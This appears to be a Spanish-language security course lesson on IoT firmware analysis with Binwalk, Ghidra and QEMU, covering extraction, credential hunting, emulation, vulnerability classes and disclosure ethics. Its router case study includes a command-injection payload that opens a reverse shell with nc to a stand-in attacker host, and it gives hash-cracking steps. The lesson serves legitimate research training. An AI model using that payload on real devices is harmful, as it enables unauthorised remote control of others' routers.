Firmware IoT analysis con Binwalk, Ghidra y emulación QEMU

Firmware es el software bajo del hardware: lo que arranca cuando prendes un router, cámara IP, smart TV, termostato o impresora. Durante años, fabricantes IoT ignoraron prácticas básicas de seguridad: credenciales hardcodeadas, backdoors de debug en producción, servicios innecesarios expuestos, crypto rota. El resultado: millones de dispositivos vulnerables conectados a internet.

Firmware analysis es la disciplina de extraer, analizar y auditar ese firmware para descubrir vulnerabilidades. El workflow combina técnicas de reverse engineering, análisis de filesystem, emulación de arquitecturas exóticas (MIPS, ARM) y hunting de bugs. Esta lección es la octava de la Tanda 7.

Firmware analysis legal cuando hay autorización del fabricante, dispositivo propio, bug bounty program o jurisdicción permite reverse engineering con propósito de seguridad (DMCA tiene exenciones para research).

Workflow general#

El proceso completo tiene 5 fases:

1. Adquisición. Conseguir el firmware. Opciones:

• Descarga desde sitio del fabricante (updates públicos).
• Interception de updates OTA (MITM del dispositivo).
• Extracción física: flash chip desoldering + chip reader ($50 CH341).
• JTAG/UART debug interfaces.
• Memory dumps vía vulnerabilidad de arranque.

2. Identificación de formato. binwalk -Y firmware.bin detecta arquitectura CPU. file firmware.bin detecta contenedores (TAR, ZIP, custom). strings firmware.bin | head -100 revela banners.

3. Extracción. binwalk -e firmware.bin extrae componentes recursivamente: bootloader, kernel, rootfs comprimido (SquashFS, JFFS2, UBI), partition tables.

4. Análisis estático del rootfs. Una vez extraído filesystem:

• /etc/passwd → usuarios + hashes de contraseñas.
• /etc/init.d/* → servicios de inicio.
• /etc/shadow → hashes (crackear con hashcat).
• www/, web/, usr/local/web/ → aplicación web (CGI scripts, PHP, Lua).
• sbin/httpd, bin/busybox → binarios custom.
• Hunting: grep -r "password" ., grep -r "backdoor" ., hardcoded keys.

5. Emulación + exploit. qemu-system-mips o qemu-system-arm ejecuta binarios. FirmAE / Firmadyne automatizan emulación completa del firmware. Una vez corriendo, pentesting normal: fuzzing, reverse, exploit.

Binwalk: la herramienta central#

Binwalk es signature-based scanner que detecta embedded files y filesystems:

# Listar signatures detectadas
binwalk firmware.bin

# Extraer recursivamente (toma tiempo)
binwalk -eM firmware.bin

# Analizar entropía (identificar encryption/compression)
binwalk -E firmware.bin

# Análisis con disasm
binwalk -A firmware.bin

# Extracción custom con sasquatch para SquashFS exóticos
sasquatch -d /tmp/extracted squashfs.img

Formatos comunes que Binwalk reconoce:

• SquashFS (dominante en routers): LZMA/XZ/GZIP compressed.
• JFFS2: flash filesystem para dispositivos legacy.
• UBI/UBIFS: flash management moderno.
• CramFS: ROM filesystem comprimido.
• YAFFS: NAND flash.
• Formatos custom: fabricante puede inventar wrappers (D-Link, TP-Link suelen hacer esto).

Problemas comunes: compression keys custom, encryption de firmware (LG, Samsung lo hacen), firma + verificación (Apple, moderno Cisco).

Buscando credenciales hardcodeadas#

Pattern típico en firmware IoT barato:

# Hashes SHA-512 Unix
grep -E '\$6\$[a-zA-Z0-9./]+\$' -r rootfs/

# Hashes MD5-Unix
grep -E '\$1\$[a-zA-Z0-9./]+\$' -r rootfs/

# Private keys
grep -r "BEGIN RSA PRIVATE KEY" rootfs/
grep -r "BEGIN PRIVATE KEY" rootfs/

# API tokens en binarios
strings rootfs/sbin/httpd | grep -iE "api|token|secret|key"

# Default passwords strings
strings -n 8 rootfs/sbin/httpd | grep -iE "admin|root|password"

Hallazgos típicos: admin:admin, root:12345, tokens de "support" para debug, llaves TLS compartidas entre todos los dispositivos del fabricante.

Emulación con QEMU#

Para debuggear/fuzzing, emular es clave. Workflow básico:

# Setup QEMU para MIPS (muchos routers)
sudo apt install qemu-user-static

# Copiar interpreter al rootfs
cp /usr/bin/qemu-mips-static rootfs/usr/bin/

# Chroot + ejecutar binario
sudo chroot rootfs /sbin/httpd

# System emulation (kernel completo)
qemu-system-mips -M malta -kernel vmlinux \
  -append "root=/dev/sda1 console=ttyS0" \
  -hda rootfs.ext2 -nographic

FirmAE automatiza todo esto: infiere network config, inicia servicios, expone webapp al host. Para 70% de routers funciona out-of-the-box.

Hunting de vulnerabilidades#

Patrones recurrentes en firmware IoT:

Command injection en CGI scripts. Routers suelen tener scripts que invocan shell: system(sprintf("ping %s", user_input)). Sin sanitización → inyección trivial con ; o |. CVEs infinitos.

Buffer overflows en binarios. CGI binarios escritos en C sin stack protection. strcpy, sprintf, sscanf sin bounds checking. Explotable con ROP (sin NX en muchos routers).

Backdoors de fabricante. "Magic packets", URLs mágicas (/apply.cgi?enable_backdoor=1), credenciales técnicas compartidas. Confirmado en D-Link, Netis, Netgear históricamente.

Insecure updates. Firmware descargado por HTTP sin verificación de firma → MITM reemplaza con backdoor.

UART / JTAG habilitado en producción. Pines de debug accesibles en PCB → root shell inmediato.

Credenciales hardcoded. Shadow files con passwords de fábrica. Cracking trivial (muchas $1$ MD5-based).

Ciphers débiles o clave compartida. Toda la familia de productos usa misma TLS key. Un dispositivo cae, caen todos.

Servicios innecesarios. Telnet, FTP, SSH con config por defecto expuestos externamente.

Insecure web API. XSS/CSRF/SSRF en panel admin. Combinable con CSRF desde website externo → ataque drive-by al router.

Análisis de bootloader#

El bootloader (U-Boot dominante, Redboot legacy, bootloaders custom en chips SoC exóticos) es el primer código que corre al prender el dispositivo. Su análisis revela:

• Comandos de debug no documentados: U-Boot permite hasta md (memory dump), mw (write), go (jump to address). Acceso vía UART suele bypass todo el resto.
• Env variables sensibles: bootargs revela kernel command line, serial consoles habilitadas, modo de boot.
• Firmware verification bypass: muchos bootloaders verifican firma del kernel pero no del rootfs → modificas filesystem sin tocar kernel.
• Recovery mode: triggers por botón físico o secuencia UART. Suelen tener menos seguridad que modo normal.

Dumping bootloader típicamente requiere UART access o lectura directa de flash. Una vez dumpado, Ghidra reconoce U-Boot patterns y permite reverse detallado.

Protocolo de updates OTA#

Updates OTA (Over-the-Air) son vector crítico porque:

1. Si están sin firma → attacker reemplaza firmware con backdoor permanente.
2. Si están firmados pero validados en cliente → downgrade attacks a versiones vulnerables.
3. Si usan TLS pero sin pinning → MITM clásico captura y modifica.
4. Si bootloader no verifica firma antes de flash → compromiso irreversible.

Análisis de protocolo update: intercept con mitmproxy, captura request/response, identificar endpoint de descarga, analizar formato de package, buscar signature verification en cliente (Ghidra sobre binario de update agent).

Fabricantes maduros usan secure boot chain: ROM verifica bootloader, bootloader verifica kernel, kernel verifica rootfs. Breaking cualquier eslabón compromete todo.

Case study: router típico TP-Link#

Un pentest hipotético (basado en CVEs públicos):

1. Descargar firmware de sitio TP-Link para modelo específico.
2. binwalk -eM firmware.bin → extrae SquashFS con rootfs completo.
3. cat etc/passwd → usuario admin con hash débil.
4. hashcat -m 1500 shadow wordlist → password crackeado en segundos (admin123).
5. Explorar web/userRpm/*.htm → CGI scripts.
6. strings sbin/httpd | grep system → múltiples llamadas sospechosas.
7. Ghidra decompile → función de ping ejecuta system() con user input.
8. Payload: ping?host=;id|nc attacker.com 4444 -e sh.
9. Reproducir en dispositivo real (comprado para research).
10. Report → fabricante → CVE.

Herramientas complementarias#

Más allá de Binwalk:

• Firmware Mod Kit: modificación + repacking.
• FACT (Firmware Analysis and Comparison Toolkit): análisis automatizado a escala.
• Firmwalker: busca patterns conocidos en rootfs.
• EMBA: scanner de seguridad automatizado para firmware (Siemens open-source).
• Ghidra / IDA Pro: reverse de binarios MIPS/ARM.
• Radare2: open-source RE alternative.
• Buildroot / Yocto: entender cómo se construye firmware legítimo.
• OpenOCD: JTAG/SWD debugging hardware real.
• flashrom: lectura/escritura de chips flash.

Arquitecturas comunes#

Firmware IoT corre en CPUs raramente vistas en pentest tradicional:

• MIPS (big-endian + little-endian): dominante en routers 2010-2020 (Broadcom, Atheros, Ralink). Decreciendo.
• ARM Cortex-A (ARMv7, ARMv8/aarch64): cámaras, smart home, routers modernos. Crece.
• ARM Cortex-M (microcontrollers): wearables, sensores pequeños, firmware bare-metal.
• PowerPC: equipamiento industrial legacy.
• Xtensa: ESP32/ESP8266 (IoT hobbyist y comercial).
• RISC-V: emergente, poco común aún pero crecerá.

Cada arquitectura requiere toolchain diferente: qemu-system-mips, qemu-system-arm, cross-compilers específicos. Ghidra soporta todas out-of-the-box; IDA Pro requiere módulos separados.

Firmware bare-metal (sin OS, código corriendo directamente sobre hardware) es más duro de analizar: no hay syscalls, no hay libraries, sólo accesos directos a registros periféricos. Datasheet del chip es mandatorio.

Hardware para firmware extraction#

Kit mínimo para serious research:

• BusPirate ($30): I2C, SPI, UART universal.
• CH341A programmer ($5): leer chips SPI flash.
• SOIC-8 clip ($10): no desoldering.
• Logic analyzer ($10 Saleae clone): capturar protocolos.
• J-Link / ST-Link ($10-500): JTAG/SWD ARM debugging.
• USB-TTL ($5): UART serial console.
• Oscilloscope ($200+): señales analógicas difíciles.

Entropía y detección de encryption#

Fabricantes paranoicos cifran firmware para proteger propiedad intelectual. Binwalk ayuda detectarlo:

binwalk -E firmware.bin
# Entropía cercana a 8 bits/byte en regiones grandes = encrypted/compressed
# Patches de entropía baja intercalados = header no cifrado

Breaking firmware encryption suele requerir:

• Dump de ROM boot inicial (nunca encrypted, verifica firma del bootloader).
• Identificar clave hardcoded en bootloader via side-channel analysis o reverse engineering del chip de verification.
• JTAG debugging del proceso de decrypt en RAM → dump del firmware descifrado.
• Side-channel attacks contra crypto engine (power analysis, electromagnetic).

Casos documentados: investigadores rompieron encryption de routers Cisco, cámaras Hikvision, smart TVs Samsung. Trabajo serio, meses de investigación, pero rentable para empresas de security product.

Supply chain y vendor backdoors#

Industria IoT depende de SoCs de un puñado de fabricantes chinos: Realtek, Mediatek, Allwinner, Rockchip. Sus SDKs base distribuidos a cientos de marcas integradoras contienen código compartido. Una vulnerabilidad en ese SDK base → cientos de productos de marcas diferentes vulnerables.

Caso emblemático: Realtek SDK buffer overflow (CVE-2021-35394) afectó 65+ fabricantes. Vulnerabilidad en código de ejemplo que todos copiaron.

Pentest serio de IoT investiga qué SoC usa el dispositivo, busca vulnerabilidades conocidas del SDK base, y verifica si fabricante parcheó o no. Spoiler: casi nunca parchean.

Legal / ethical#

Ethics clave:

• Firmware propio (dispositivo comprado): research generalmente OK.
• DMCA exemptions (US): security research permitido con restricciones.
• Bug bounty: validar scope antes de analizar.
• Reportar vulnerabilidades: 90-day disclosure estándar.
• No publicar exploits weaponizados: PoC educativo OK, kits ready-to-weaponize NO.
• Coordinación con CERT nacional: para dispositivos de infraestructura crítica (hospitales, utilities, transporte), avisar al CERT local además del fabricante acelera remediation y protege a usuarios durante disclosure window.
• Respetar warranty del dispositivo: research destructivo (desoldering, decapping) sólo en unidades compradas específicamente para investigación, nunca en producción cliente.

Casos célebres de researchers que terminaron en tribunales por firmware analysis mal manejado existen. Legal advice recomendado para research sensible.

Preguntas frecuentes#

¿Vale la pena carrera en firmware security?#

Growing field: IoT expansion, regulations (EU Cyber Resilience Act 2027), bug bounties ($5k-$50k típicos). Niche pero bien pagado. Empresas como Qualys, Rapid7, Censys, Shadowserver, Red Balloon pagan muy bien a specialists con experience real en MIPS/ARM reverse engineering y protocol analysis de dispositivos IoT comerciales.

¿Hardware mandatorio?#

No para arrancar. Firmware descargable abundante. Hardware tier abre análisis más profundo.

¿Qué lenguaje aprender?#

C/C++ para reverse engineering de binarios. Python para scripting análisis. Bash para automatización.

¿Dónde practico?#

El laboratorio titan-linux de whoami-labs simula un router comprometido donde practicas análisis de filesystem, hunting de credenciales, y explotación de servicios IoT expuestos. Base sólida antes de firmware real.

Resumen#

• Firmware IoT: masivo ataque surface. Credenciales hardcoded, backdoors, vulns clásicas.
• Workflow: adquisición → identificación → extracción → análisis → emulación → exploit.
• Binwalk: herramienta central para extracción.
• FirmAE / QEMU: emulación para dynamic analysis.
• Vulns comunes: command injection CGI, buffer overflows, insecure updates.
• Hardware: CH341A + SOIC clip abre acceso físico a chips.
• Legal: dispositivo propio OK, DMCA exemptions, bug bounties scope.

Fuentes y lecturas recomendadas#

• Binwalk GitHub
• FirmAE
• EMBA
• IoT Hackers Handbook